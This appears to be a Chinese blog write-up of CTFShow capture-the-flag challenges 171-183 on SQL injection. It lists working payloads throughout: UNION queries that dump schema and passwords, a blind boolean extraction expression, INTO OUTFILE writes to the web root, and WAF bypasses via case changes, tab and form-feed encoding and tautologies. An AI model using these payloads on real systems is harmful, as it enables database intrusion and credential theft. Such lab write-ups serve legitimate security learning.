CTFSHOW-WEB入门SQL注入部分(大概是长期更新)

本文分享了作者在解决一系列CTF比赛中的SQL注入题目的过程,包括基础SQL注入手法、使用不同编码方式绕过WAF、利用文件写入及特殊字符绕过等技巧,并附有具体案例解析。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


不一定会所有题都放上来(懒) 但是我尽量

0x01 web 171

在这里插入图片描述
总算是开始刷sql注入题了 之前学了 但是没写几题 也算个纯萌新了 所以基础题会细一点 也为了加强自己记忆在这里插入图片描述
1,2,3都能回显 继续直接爆表名

1'union select 1,2,table_name from information_schema.tables where table_schema=database() --+

在这里插入图片描述
直接爆字段 记得ctfshow_user要加'' 我试了半天不知道哪出问题 还得去翻Y4大佬的博客才发现问题 tcl

1' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user'  --+

在这里插入图片描述
然后就拿到了

1' union select id,username,password from ctfshow_user --+

0x02 web172

先放个撸猫界面源码里的注释
在这里插入图片描述
然后看题 发现已经给了表名ctfshow_user2

我自己的莫名其妙方法

随便试试回显在这里插入图片描述
然后 我好像莫名其妙干出来了
1' union select 1,password from ctfshow_user2 --+ 直接出了 但是
1' union select username,password from ctfshow_user2 --+出不来
应该是按照题目给的 username叫flag 所以查询语句查不出 但是直接干password就行

下来是Y4大佬的解法

不能有flag字段 所以尝试用编码 这里大佬用的是base64和hex
-1' union select to_base64(username),hex(password) from ctfshow_user2 --+ 然后拿最后一行解码 拿到flag
Y4👴tql

0x03 web173

同上

0x04 web174(已补)

先前因为脚本水平太辣了 导致跳过了本题 后来看了各路大佬的脚本之后 就尝试写了一下脚本 这里就不贴了 跑了2分钟才出答案的脚本实在太垃圾了 算了 放一条脚本中爆破的那句话 懂了原理 你也就会写脚本了(这是payload 也就是在sql查询中的语句 他的if语句是true返回第一个 错了返回第二个)

?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))<%d,'nice','dddd') -- -"%(i,j)

0x05 web 175

1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'-- 

写进目录 访问即可

0x06 web176

不知道waf是啥 就猜 发现union select不行 然后夏姬八试 发现好像是过滤了select 这里可以直接利用大小写过滤

1' union Select 1,password,3 from ctfshow_user --+

然后从Y4👴的blog里面发现 可以直接万能密码1' or 1=1--+ 我还是tcl

0x07 web177-179(久违的更新 摸鱼人回来补题辣)

177-178
大概过滤了空格和注释 用url编码绕了 万能语句通杀
1'or%091=1%23

179
emmmm 可能是群主的waf少加了一个%0c?

1'or%0c1=1%23

顺便在别人的博客发现 原来万能密码可以不用空格也行 feng师傅tql
顺便atao师傅tql(偌大的ctfshow竟然只有我是fw)

1'or'1'='1'%23

0x08 web 180-182

似乎是%23被过滤掉了 至于为什么payload是id=26 我也没明白
因为到22开始就没有回显了 为什么不猜22呢

(后来看到有大佬用burp跑出来的26

首先是群主的payload(第一个单引号前需要输入一个没有的数)
180181通杀

111'or(id=26)and'1'='1

原理是看了feng师傅的博客
通过上面给的查询语句来构造

1.where username !='flag' and id = ''or(id=26)and'1'='1' limit 1;";
 and优先级>or也就是
2.(username !='flag' and id = '')  or  (id=26and'1'='1')

where输出的是1那条 所以出来了(我还是tcl)
然后还有一种就是

-1'||id='26'||'   这个语句大伙把他带入搜索语句里面就懂了

0x09 web183

首先看博客学习regexp()

### CTFShow Web 入门 SQL 注入 第175题 解法 CTFShow 平台中的 Web 入门级别 SQL 注入题目旨在帮助学习者掌握不同场景下的 SQL 注入技巧。对于第 175 题,其核心在于利用无过滤注入的特点来完成攻击目标。 #### 背景分析 在该题目中,查询语句允许通过 `UNION SELECT` 构造额外的数据集并将其写入到指定文件路径下[^2]。具体来说,攻击者可以借助此特性提取数据库内的敏感数据,并将这些数据存储至可访问的位置以便后续查看。 以下是实现这一过程的关键点: 1. **构造 UNION 查询** 使用 `UNION SELECT` 将目标表中的字段值附加到原始查询结果集中。例如,在本题中可以通过如下方式获取用户密码: ```sql 1' union select 1, password from ctfshow_user5 -- ``` 2. **导出数据到外部文件** 利用 MySQL 的 `INTO OUTFILE` 子句将查询结果保存为服务器上的文件。这一步骤需要确保所选路径具有写权限以及符合服务端配置的安全策略。 ```sql INTO OUTFILE '/var/www/html/1.txt' ``` 3. **绕过潜在限制** 如果存在单引号 `'` 或其他字符被转义的情况,则需采用替代方法构建有效载荷。比如使用双划线 (`--`) 表示注释从而忽略剩余部分;或者尝试基于时间盲注等方式间接验证逻辑条件成立与否。 最终提交完整的请求参数形式可能类似于下面这样: ```plaintext id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'-- ``` 成功执行上述操作之后,可通过浏览器访问 `/1.txt` 文件读取其中的内容即为目标 flag 值。 #### 总结 此类题目主要考察选手对基础 SQL 注入原理的理解程度及其实际应用能力。通过对真实环境模拟练习能够加深印象进而提升防御意识水平。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值